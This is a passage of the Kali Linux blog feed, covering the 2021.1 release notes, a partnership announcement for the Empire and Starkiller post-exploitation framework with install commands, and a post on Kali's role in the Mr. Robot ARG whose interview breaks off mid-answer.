&lt;p>&lt;a href="https://www.kali.org/blog/major-metapackage-makeover/">A while ago&lt;/a>, we changed the &lt;strong>default set of tools installed&lt;/strong> in Kali. Most users know they can either install a one-off package, or revert back to the old set of defaults &lt;em>(&lt;code>apt install kali-linux-large&lt;/code>)&lt;/em>. But to help communicate our changes (as well as any new tools), we have now included &lt;code>command-not-found&lt;/code> by default. &lt;em>This is an &amp;ldquo;optional&amp;rdquo; package, which can be removed without removing all of &lt;code>kali-linux-default&lt;/code>.&lt;/em>&lt;/p>
&lt;p>Without &lt;code>command-not-found&lt;/code> installed:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ gitleaks
gitleaks: command not found
&lt;/code>&lt;/pre>
&lt;p>If you are wondering &amp;ldquo;How does this help me?&amp;rdquo;, or has the above ever happened to you, we like to think people&amp;rsquo;s next stage would be to do &lt;code>apt-cache search gitleaks&lt;/code> and see it in the network repositories. But we can do better. Now with &lt;code>command-not-found&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ gitleaks
Command 'gitleaks' not found, but can be installed with:
sudo apt install gitleaks
┌──(kali㉿kali)-[~]
└─$ gitleakss
Command 'gitleakss' not found, did you mean:
command 'gitleaks' from deb gitleaks
Try: sudo apt install &amp;lt;deb name&amp;gt;
┌──(kali㉿kali)-[~]
└─$ badcmd
badcmd: command not found
&lt;/code>&lt;/pre>
&lt;p>As you can see from the above example:&lt;/p>
&lt;ul>
&lt;li>&lt;code>gitleaks&lt;/code> - If the command you entered is the name of an executable available in Kali, it will say the package that you need to install &lt;em>(if its not already!)&lt;/em>&lt;/li>
&lt;li>&lt;code>gitleakss&lt;/code> - If you are &amp;ldquo;fat fingered&amp;rdquo; and make a typo, it may make a suggestion&lt;/li>
&lt;li>&lt;code>badcmd&lt;/code> - If you typed in an invalid command that doesn&amp;rsquo;t exist in Kali, it will give the original message of &amp;ldquo;command not found&amp;rdquo;.&lt;/li>
&lt;/ul>
&lt;p>So, how can I get this magic? Good question! If you&amp;rsquo;re:&lt;/p>
&lt;ul>
&lt;li>Doing a fresh install of Kali Linux 2021.1 or later, it will &amp;ldquo;just happen&amp;rdquo; during the setup.&lt;/li>
&lt;li>Updating Kali and you are using a Bash shell, then it will &amp;ldquo;just happen&amp;rdquo; too.&lt;/li>
&lt;li>Updating Kali and you are using a Zsh shell, you will need to add the following lines to your &lt;code>~/.zshrc&lt;/code>:&lt;/li>
&lt;/ul>
&lt;pre>&lt;code class="language-sh"># enable command-not-found if installed
if [ -f /etc/zsh_command_not_found ]; then
. /etc/zsh_command_not_found
fi
&lt;/code>&lt;/pre>
&lt;p>But it doesn&amp;rsquo;t have to end here. By adding &lt;code>COMMAND_NOT_FOUND_INSTALL_PROMPT=1&lt;/code> to your shell&amp;rsquo;s environment &lt;em>(e.g. &lt;code>~/.bashrc&lt;/code> or &lt;code>~/.zshrc&lt;/code>)&lt;/em>, &lt;code>command-not-found&lt;/code> will take it one step further, and also prompt you if you want to install the missing package. &lt;em>This change is something we will be putting in in a future release.&lt;/em>&lt;/p>
&lt;p>Hope it helps!&lt;/p>
&lt;h2 id="partnerships-with-tools-authors">Partnerships with Tools Authors&lt;/h2>
&lt;p>Carrying on from our &lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/">previous partnership&lt;/a> with byt3bl33d3r, we have expanded to supporting:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/empire-starkiller/">BC Security&lt;/a> - Giving Kali exclusive early access to &amp;ldquo;&lt;a href="https://pkg.kali.org/pkg/powershell-empire">Empire&lt;/a>&amp;rdquo; (&lt;code>powershell-empire&lt;/code>) &amp;amp; &amp;ldquo;&lt;a href="https://pkg.kali.org/pkg/starkiller">StarKiller&lt;/a>&amp;rdquo;&lt;/li>
&lt;li>&lt;a href="https://twitter.com/joohoi">Joohoi&lt;/a> - The creator of &amp;ldquo;Fuzz Faster U Fool (&lt;a href="https://pkg.kali.org/pkg/ffuf">ffuf&lt;/a>)&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>The announcement with Joohoi is new for Kali 2021.1. Like the previous sponsorships, you can either &lt;a href="https://github.com/sponsors/joohoi">sponsor him directly&lt;/a> to get the latest access to ffuf, &lt;a href="https://www.kali.org/">use Kali Linux&lt;/a>, or wait 30 days until the &lt;a href="https://github.com/ffuf/ffuf">source code&lt;/a> becomes public. However, he has &lt;a href="https://github.com/ffuf/ffuf#access-the-sponsorware-through-code-contributions">also announced&lt;/a> anyone who makes a significant contribution, which gets accepted into the project, also gets access!&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It wouldn&amp;rsquo;t be a Kali release if there weren&amp;rsquo;t any new tools added! A quick run down of what&amp;rsquo;s been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/airgeddon">Airgeddon&lt;/a> - Audit wireless networks&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/altdns">AltDNS&lt;/a> - Generates permutations, alterations and mutations of subdomains and then resolves them&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/arjun">Arjun&lt;/a> - HTTP parameter discovery suite&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/chisel">Chisel&lt;/a> - A fast TCP/UDP tunnel over HTTP&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/dnsgen">DNSGen&lt;/a> - Generates combination of domain names from the provided input&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/dumpsterdiver">DumpsterDiver&lt;/a> - Search secrets in various filetypes&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/getallurls">GetAllUrls&lt;/a> - Fetch known URLs from AlienVault&amp;rsquo;s Open Threat Exchange, the Wayback Machine, and Common Crawl&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/gitleaks">GitLeaks&lt;/a> - Searches Git repo&amp;rsquo;s history for secrets and keys&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/httprobe">HTTProbe&lt;/a> - Take a list of domains and probe for working HTTP and HTTPS servers&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/massdns">MassDNS&lt;/a> - A high-performance DNS stub resolver for bulk lookups and reconnaissance&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/pskracker">PSKracker&lt;/a> - WPA/WPS toolkit for generating default keys/pins&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/wordlistraider">WordlistRaider&lt;/a> - Preparing existing wordlists&lt;/li>
&lt;/ul>
&lt;p>Happy hacking!&lt;/p>
&lt;h2 id="kalis-website">Kali&amp;rsquo;s Website&lt;/h2>
&lt;p>Until recently, the only way you could be reading this would have been from our &lt;a href="https://www.kali.org/rss.xml">RSS feed&lt;/a> or directly from our &lt;a href="https://www.kali.org/blog/">blog&lt;/a> &lt;em>(as we only recently made the &lt;a href="https://www.kali.org/blog/kali-linux-newsletter-keeping-in-touch/">announcement&lt;/a> of the &lt;a href="https://www.kali.org/newsletter/">Kali Newletter&lt;/a>)&lt;/em>. You may of noticed already, and &lt;a href="https://www.kali.org/blog/2019-2020-review-onwards-with-2021/">we said&lt;/a> that it was coming, and it finally has - &lt;a href="https://www.kali.org/">kali.org&lt;/a> has had a face-lift!&lt;/p>
&lt;p>We have &lt;em>(finally)&lt;/em> moved away from WordPress to Hugo. Similarly to Kali, the website will also be a rolling distribution. The recent change is mostly cosmetic and content &lt;em>(both were long overdue)&lt;/em>, and we have made plans for new features to be added.&lt;/p>
&lt;p>Another upside of the switch is that we can take more advantage of what GitLab has to offer. We recently had &lt;a href="https://about.gitlab.com/blog/2021/02/18/kali-linux-movingtogitlab/">an interview with GitLab&lt;/a> about the switch.&lt;/p>
&lt;p>On the subject of interviews, we also had a word with &lt;a href="https://www.kali.org/blog/mr-robot-arg-society/">Mr Robot&amp;rsquo;s ARG Society&lt;/a> if you missed that.&lt;/p>
&lt;h2 id="wallpapers">Wallpapers&lt;/h2>
&lt;p>Just a quick little thing, we have tweaked our wallpaper packages:&lt;/p>
&lt;ul>
&lt;li>&lt;code>kali-wallpapers-2020.4&lt;/code> - Kali&amp;rsquo;s wallpapers from 2020.4 and onwards &lt;em>(for the time being)&lt;/em>&lt;/li>
&lt;li>&lt;code>kali-wallpapers-2019.4&lt;/code> - Kali&amp;rsquo;s wallpapers between 2019.4 and 2020.3.&lt;/li>
&lt;li>&lt;code>kali-wallpapers-legacy&lt;/code> - BackTrack &amp;amp; Kali nostalgic backgrounds&lt;/li>
&lt;li>&lt;code>kali-wallpapers-all&lt;/code> - Every wallpaper&lt;/li>
&lt;li>&lt;code>kali-community-wallpapers&lt;/code> - created and submitted by the community &lt;em>(&lt;a href="https://gitlab.com/kalilinux/packages/kali-community-wallpapers/-/merge_requests">submit yours&lt;/a> today!)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>With the alterations to the packages, we have taken the time to improve support for Xfce when using them.&lt;/p>
&lt;p>Enjoy!&lt;/p>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>BusyBox, one of the core engines of Kali NetHunter, has received a well deserved upgrade to version &amp;ldquo;1.32.0-nethunter&amp;rdquo;. BusyBox is used internally to ensure that NetHunter tools and commands are executed consistently across the vast number of different Android versions and vendor modifications. This change, whilst big, should go unnoticed by users and will help developers to port their code to NetHunter with no hassles at all. &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a> has added a handy section to the settings menu, which allows developers to select different BusyBox versions for testing:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-1-release/images/BusyBoxSelector.jpg' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-1-release/images/BusyBoxSelector.jpg" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Speaking of developers: If you have any cool ideas you&amp;rsquo;d like to see included in Kali NetHunter or if you would like to contribute to this amazing project, please reach out to us in our &lt;a href="https://forums.kali.org/">forums&lt;/a> or on &lt;a href="https://gitlab.com/kalilinux/nethunter">GitLab&lt;/a>. We would love to hear from you!&lt;/p>
&lt;p>Tools have been updated to the latest versions, notably Rucky - the &amp;ldquo;modern looking USB Rubber Ducky Editor and Attack Launcher&amp;rdquo;, which has been completely re-written by its author &lt;a href="https://twitter.com/mayank_metha">@mayankmetha&lt;/a> and &lt;a href="https://staging.nethunter.com/en/packages/com.mayank.rucky/">released in the Kali NetHunter App Store as version 2.1&lt;/a>.&lt;/p>
&lt;p>We&amp;rsquo;ve also been busy working on the visual aspects of Kali NetHunter, with &lt;a href="https://twitter.com/thiviyann">@s133py&lt;/a> adding a stunning new boot-animation to the growing selection:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-1-release/images/res_raw_boot_glitch.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-1-release/images/res_raw_boot_glitch.gif" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>If you have a cool boot-animation you&amp;rsquo;d like to share, please submit a merge request to our &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-bootanimation">Kali NetHunter Boot Animation repository&lt;/a>.&lt;/p>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>As you may have heard, Apple have released new Macs with their own processors, known as Apple Silicon &lt;em>(Apple M1)&lt;/em>. So far, only Parallels have released something publicly that people can use for virtualization. To that end, we have generated both an installer &amp;amp; live ISOs (&lt;code>kali-linux-2021.1-installer-arm64.iso&lt;/code> and &lt;code>kali-linux-2021.1-live-arm64.iso&lt;/code>) that can be used with VMs on Apple Silicon Macs. Many thanks to the people who reached out and offered to test and helped us to iron out the bugs. If you&amp;rsquo;d like to see it in action, &lt;a href="https://twitter.com/davidbombal">David Bombal&lt;/a> has put out a &lt;a href="https://www.youtube.com/watch?v=uBzKDF67eWY">video&lt;/a> of it.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-linux-2021-1-release/https://www.youtube-nocookie.com/embed/uBzKDF67eWY?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;p>We have also added support for the Raspberry Pi 400&amp;rsquo;s wireless card, however it is very important to note that this is &lt;em>not&lt;/em> a &lt;a href="https://github.com/seemoo-lab/nexmon">nexmon&lt;/a> firmware, as nexmon does not currently support it.&lt;/p>
&lt;p>The &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm/">Kali ARM build scripts&lt;/a> have seen a few more improvements from &lt;a href="https://twitter.com/frangalinux">Francisco Jose Rodriguez Martos&lt;/a> and we appreciate the assistance greatly. If you&amp;rsquo;d like to get involved with ARM, check out the &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm/-/issues">GitLab issue list&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2 id="download-kali-linux-20211">Download Kali Linux 2021.1&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you&amp;rsquo;ll have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2021.1. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2021.1&amp;quot;
VERSION_ID=&amp;quot;2021.1&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.10.13-1kali1 (2021-02-08)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.10.0-kali3-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We&amp;rsquo;ll never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p></description></item><item><title>BC Security's Empire/Starkiller &amp; Kali Linux</title><link>https://www.kali.org/blog/empire-starkiller/</link><guid isPermaLink="true">https://www.kali.org/blog/empire-starkiller/</guid><pubDate>Tue, 12 Jan 2021 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/empire-starkiller/images/kali-bc-security-partnership.jpg" type="image/jpg"/><description>&lt;p>We have always worked to support the information security community as a whole, and over the years experimented with different ideas &lt;em>(some with a greater success than others)&lt;/em>. One of the key components to Kali is the tools included &lt;em>(either pre-installed or installed via apt)&lt;/em>. Joining together infosec professional/hobbyist and tool authors, today we are announcing another partnership: &lt;strong>&lt;a href="https://www.bc-security.org/post/kali-and-bc-security-partnership">Kali has partnered with BC Security&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>BC Security is the team who is currently maintaining the most active fork of &lt;a href="https://pkg.kali.org/pkg/powershell-empire">Empire&lt;/a>. In August 2019, the &lt;a href="https://twitter.com/xorrior/status/1156626181107736576">original maintainers&lt;/a> archived the project, but with Open-source projects &lt;em>(as long as they don&amp;rsquo;t break software licenses&lt;/em>) other groups can take someone else&amp;rsquo;s code and improve upon it. This is exactly what BC Security did, forking the project, to keep the flame of &lt;a href="https://github.com/BC-SECURITY/Empire">PowerShell Empire&lt;/a> alive.&lt;/p>
&lt;p>Empire is a post-exploitation framework, which its agents supporting various different Operating Systems (OS). Windows is purely implemented in PowerShell &lt;em>(without &lt;code>powershell.exe&lt;/code>!)&lt;/em>, and Linux/macOS is done in Python 3. Feature rich with various options to bypass various protections &lt;em>(and allows for easy modification for custom evasion)&lt;/em>, Empire is often a favourite for Command and Control (C2) activity.&lt;/p>
&lt;p>We first had interaction with BC Security, when they were porting over the original Empire code base (v2.5) from Python 2 to 3 &lt;em>(as v2 had reached &lt;a href="https://www.kali.org/blog/python-2-end-of-life/">End of Life&lt;/a> in January 2020)&lt;/em>. This is to help ensure Empire is is up-to-date and relevant with the modern software stack. They have also put in the time to increase empires features &lt;em>(growing on the original authors, that malware can be in PowerShell format)&lt;/em>. BC Security also have created their own &amp;ldquo;Graphical User Interface (GUI)&amp;rdquo;, &lt;a href="https://github.com/BC-SECURITY/Starkiller">Starkiller&lt;/a>, to go along side Empire.&lt;/p>
&lt;p>Under their sponsorware model, in order to get the latest version of Empire &amp;amp; Starkiller, you can &lt;a href="https://github.com/sponsors/BC-SECURITY">sponsor&lt;/a> to get the latest access, &lt;a href="https://www.kali.org/">use Kali Linux&lt;/a>, or wait 30 days until the &lt;a href="https://github.com/BC-SECURITY">source code becomes public&lt;/a>. We believe the partnership will aid development of the tool &lt;em>(who doesn&amp;rsquo;t want new features!)&lt;/em>, but at the same time allowing access to it for as many people as possible.&lt;/p>
&lt;p>With the announcement of the partnership, there are new versions being released:&lt;/p>
&lt;ul>
&lt;li>Empire has reached v3.7&lt;/li>
&lt;li>Starkiller is now at v1.6&lt;/li>
&lt;/ul>
&lt;p>For more information about the changelog and their views, you can read about on &lt;a href="https://www.bc-security.org/post/kali-and-bc-security-partnership">their blog&lt;/a>. Afterwards give Empire a try &lt;em>if you&amp;rsquo;re &lt;a href="https://www.kali.org/get-kali/">using Kali Linux&lt;/a>!&lt;/em>&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt update
┌──(kali㉿kali)-[~]
└─$ sudo apt install -y powershell-empire starkiller
┌──(kali㉿kali)-[~]
└─$ sudo powershell-empire
&lt;/code>&lt;/pre></description></item><item><title>Kali Linux + Mr. Robot ARG Society</title><link>https://www.kali.org/blog/mr-robot-arg-society/</link><guid isPermaLink="true">https://www.kali.org/blog/mr-robot-arg-society/</guid><pubDate>Tue, 29 Dec 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/mr-robot-arg-society/images/kali-mr-robot-augmented-reality-game-1.jpg" type="image/jpg"/><description>&lt;p>Many of you may have known about the show &lt;a href="https://www.usanetwork.com/mr-robot">Mr Robot&lt;/a> and its unique connection to Kali Linux. But there is a little bit more that we have not talked about due to NDAs. But it appears the mystery is over, the red tape has been removed, and we now wanted to take a moment to share it with everyone.&lt;/p>
&lt;p>We had a relationship with Mr Robot, which started during the filming of the 2nd season. While the 1st season was running, we were approached at BlackHat 2015 to give our permission to use Kali in the show. We worked out the legal parts of things (it&amp;rsquo;s legal to use Kali in media, we don&amp;rsquo;t care, but studios want that in writing), and starting in the 2nd season from time to time the production staff would reach out to us to ask us questions, have us provide them graphics, provide them with specific versions of Kali that were public on specific dates, and similar to keep the show accurate. We were very impressed with the efforts to keep the show grounded while still carrying on a strong hacking focused narrative.&lt;/p>
&lt;p>Mr Robot has an &amp;ldquo;Alternative Reality Game (ARG)&amp;rdquo; that has been part of the show from the &lt;a href="https://wiki.gamedetectives.net/index.php?title=Mr._Robot_ARG">start&lt;/a>. The idea is that as you watch the show, you watch for clues and the clues from the show go into the game and you solve puzzles etc. The production staff wanted us to be part of this ARG and help them on their final step of the puzzle to be tied into the last episode. The final episode aired December 2019, but the puzzle was only recently finally solved.&lt;/p>
&lt;p>You can read the gory details of the &lt;a href="https://www.reddit.com/r/ARGsociety/wiki/index#wiki_post_season_4_.2F_series">final answer&lt;/a> if you are interested. The idea was, we would do a commit to the Kali Git repository that would include a number of items, but also have a surprise. The commit we made was the initial commit of the &amp;ldquo;&lt;a href="https://gitlab.com/kalilinux/packages/kali-legacy-wallpapers">Legacy Wallpapers&lt;/a>&amp;rdquo; where we took the &lt;a href="https://www.kali.org/docs/introduction/kali-linux-history/">old Kali&lt;/a> and &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a> wallpapers and made them available to everyone. However, &lt;a href="https://gitlab.com/kalilinux/packages/kali-legacy-wallpapers/blob/kali/master/kali-1.1/kali-1.1-1280x1024.jpg/">embedded in one of the images&lt;/a> was a steganographic message which was a private SSH key. This is the same background image that was used throughout the show&amp;rsquo;s filming.&lt;/p>
&lt;p>With a password, the SSH key could be extracted from that image. Then with that, players of the ARG could use it to connect to a &amp;ldquo;final target&amp;rdquo;.&lt;/p>
&lt;p>How would anyone find that one graphic? The clues in the ARG that lead them to it included a call out to &amp;ldquo;OffSec&amp;rdquo;, the Kali GitLab group ID, the project ID for the Legacy Wallpapers, and the specific commit where we had uploaded the special wallpaper.&lt;/p>
&lt;p>Now the mystery is over, the final problem is solved, and the last door on Mr Robot is finally closed. It was awesome being even a small part of the show, and we loved the respect that the show paid to keeping everything based in reality.&lt;/p>
&lt;p>Goodbye friend.&lt;/p>
&lt;h4 id="mr-robot-arg-society">Mr. Robot ARG Society&lt;/h4>
&lt;p>Any show would be nothing without an audience to watch it. Mr Robot is no exception, and after millions of people watched it, communities started to formed (either online or in person). People would discuss previous episodes, predict theories of where the show was going to go, and have watching parties. Its not un-common for shows to have &amp;ldquo;Easter eggs&amp;rdquo; embedded in them (these can be are little gems hidden in plain sight, which may give a &amp;ldquo;head nod&amp;rdquo; to something, or a spoiler for a up coming event). They are hunted after by people, and adds another level of excitement to re-watch a show. Mr Robot has plenty of them. But where Mr Robot is unique to any other show out, there is &lt;em>(for the time being)&lt;/em> an various online elements which links beautifully back into the show. In a sense, these are mini &amp;ldquo;spin offs&amp;rdquo; to the show, allowing for people to go further, get interactive and solve challenges in the Mr Robot universe. One &lt;em>(of a few)&lt;/em> domains is &amp;ldquo;&lt;a href="https://www.whoismrrobot.com/">Who Is Mr Robot&lt;/a>&amp;rdquo;, which is where there was a lot of focus to solve its challenge(&lt;strong>s&lt;/strong>). This was made up of a collection of virtual terminals all from the show, which has a series of technical challenges to solve.&lt;/p>
&lt;p>There were multiple groups of people working towards &lt;em>(either group of friends doing it privately, or people who started out to be strangers coming together doing it publicly)&lt;/em>, a lot of people started trying to answer, but not many made it all the way to the end of Season 4. Finally after over a year of trying, someone got the final part, ARGSociety. We want to reach out and get their view of the show &amp;amp; challenges. We found their &lt;a href="https://www.reddit.com/r/ARGsociety/">subreddit&lt;/a> and later joined their &lt;a href="https://discord.com/invite/2ERCJa2">discord&lt;/a>. It was immediately apparent how close of a community these people are, not only how active but how passionate they are about the show (and still are). People didn&amp;rsquo;t know each other before joining, but they were all welcoming, humble, and they all had a part to play in solving the puzzle. After chatting to everyone one of the members, &lt;a href="https://twitter.com/B4815162342K">@BK&lt;/a>, was selected to be in interviewed on behalf of everyone in the group.&lt;/p>
&lt;hr>
&lt;p>&lt;strong>Q.) Why the show Mr Robot?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Mr Robot shouted out to the world: I am here now, and &amp;ldquo;your democracy has been hacked&amp;rdquo;. The premise was enough to make me curious. Myself and the other leaders of this crazy community (Carnage Beam and Risk), had no clue what any of us were about to get into.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Did you start watching it from the start?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>I hadn&amp;rsquo;t even seen so much as a trailer for this show when I started it. Aside from a poster of this dude in a hoodie, I went in blind. But USA network allowed the pilot episode to be viewed about a month or so earlier than its on air premiere date. So by the time the pilot had aired, I think I had already rewatched that single episode 4 or 5 times.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) What was your favorite season from the TV show?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Picking a favorite season of Mr Robot is like trying to pick a favorite family member. I love them all in their own unique ways.&lt;/p>
&lt;p>Season 1 offered us a hacking adventure show, almost fit with our very own &amp;ldquo;hack of the week&amp;rdquo; (usually a procedural trope I mostly loath). And as someone who wasn&amp;rsquo;t familiar with the hacking world, I walked into Mr Robot season 1 as an undergrad and by episode 10, I felt like I had my degree. At the same time it became evident as each episode aired, that this was so much more than a hack of the week show. It was the character driven drama that kept me week to week.&lt;/p>
&lt;p>Season 2 became a mirror into the soul; Elliot&amp;rsquo;s soul, and ours. It was slower paced, and with Elliot unable to hack for about half the season, Esmail was able to take deep dives into his characters&amp;rsquo; minds. Season 2 was polarizing, but for those that stuck with it, perhaps the most rewarding.&lt;/p>
&lt;p>Season 3 became this high octane combination of season 1 and 2. We stood and watched as we got hacks, evil antagonists with master plans, all the tears, and most importantly, we got deeper into the psychology of Elliot Alderson. As Elliot hacked his way through season 3, we learned more and more about who this Elliot guy really was.&lt;/p>
&lt;p>Then Sam delivered season 4. Fulfilling a show long promise that we the audience would finally understand the &amp;ldquo;whys&amp;rdquo; for everything that had transpired on the show.&lt;/p>
&lt;p>How could I ever pick one member of the family over another?&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Did you watch the show by yourself or with people in the same room or virtually?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>I had broken my foot and was subsequently dumped that same summer Mr Robot first aired. So for season 1, I was watching alone in a bed with my leg in a boot (I honestly think Sam Esmail would agree this method of watching helped me live inside Elliot&amp;rsquo;s brain a bit more). At the time, I browsed Reddit for other shows I watched like &amp;ldquo;The Leftovers&amp;rdquo; or &amp;ldquo;LOST&amp;rdquo;. And I found the Mr Robot subreddit sometime in the middle of that summer. It&amp;rsquo;s where I first learned people were catching background items in the show that I had seen as well and trying to group think just what those items may mean overall. I was hooked.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Hacking is such a boring thing to watch, how did the shot make it interesting to you?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>This, I thought, would be the easiest question to answer. Because I do represent that part of the audience that has NO CLUE how to hack. It&amp;rsquo;s foreign to me in every way. Yet there I was week after week, trying to understand more and more of just how Elliot could pull some of these hacks off. There are three different types of viewers out there: Those who can hack, those who cant but understand what&amp;rsquo;s going on, and those who don&amp;rsquo;t know how to use hotkeys. I was the latter. I think the most important thing Esmail did for the hacking world and how it is represented on TV was&amp;ndash;he didn&amp;rsquo;t sugar coat anything. He showed us EXACTLY what hacking was. No TRON city file directories in this show. He didn&amp;rsquo;t need to spice up or dumb down what hacking was to deliver it to his audience&amp;ndash;no need. The respect he showed carried over to me as an ignorant audience member.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) What&amp;rsquo;s your favorite hack from the show?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>My favorite hack was one of the more simple in all of the show&amp;rsquo;s hacks (rich coming from someone who cant hack to call anything done in this show simple). There&amp;rsquo;s a moment at the end of season 1 (I won&amp;rsquo;t spoil it in case some people have been living under a rock) where Elliot needs to hack a blank CD with audio files. This rudimentary hack was shot beautifully with Rami&amp;rsquo;s amazing acting center stage. Then the music kicks into high gear as we are with Elliot in the moment. He cried&amp;ndash;we all cried. It was this moment near the end of season 1&amp;ndash;I realized this show was gonna change things about TV.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Would you call yourself a hacker (pre or post show)? What do you do for your day job?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>I would not call myself a hacker. I think every single person in the Mr Robot ARG community would attest that I was the quintessential non-hacker of the community. Carnage Beam and Risk on the other hand were our experts, in addition to being part of the leadership team.&lt;/p>
&lt;p>When the show started I was still in professional sports advertising. By the time the show ended, I moved back to Los Angeles to be a writer.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Had you used Kali Linux before?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>I hadn&amp;rsquo;t so much as heard of Kali Linux, let alone used it prior to Mr Robot.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) What did you think of the ending?&lt;/strong>&lt;/p>
&lt;blockquote>
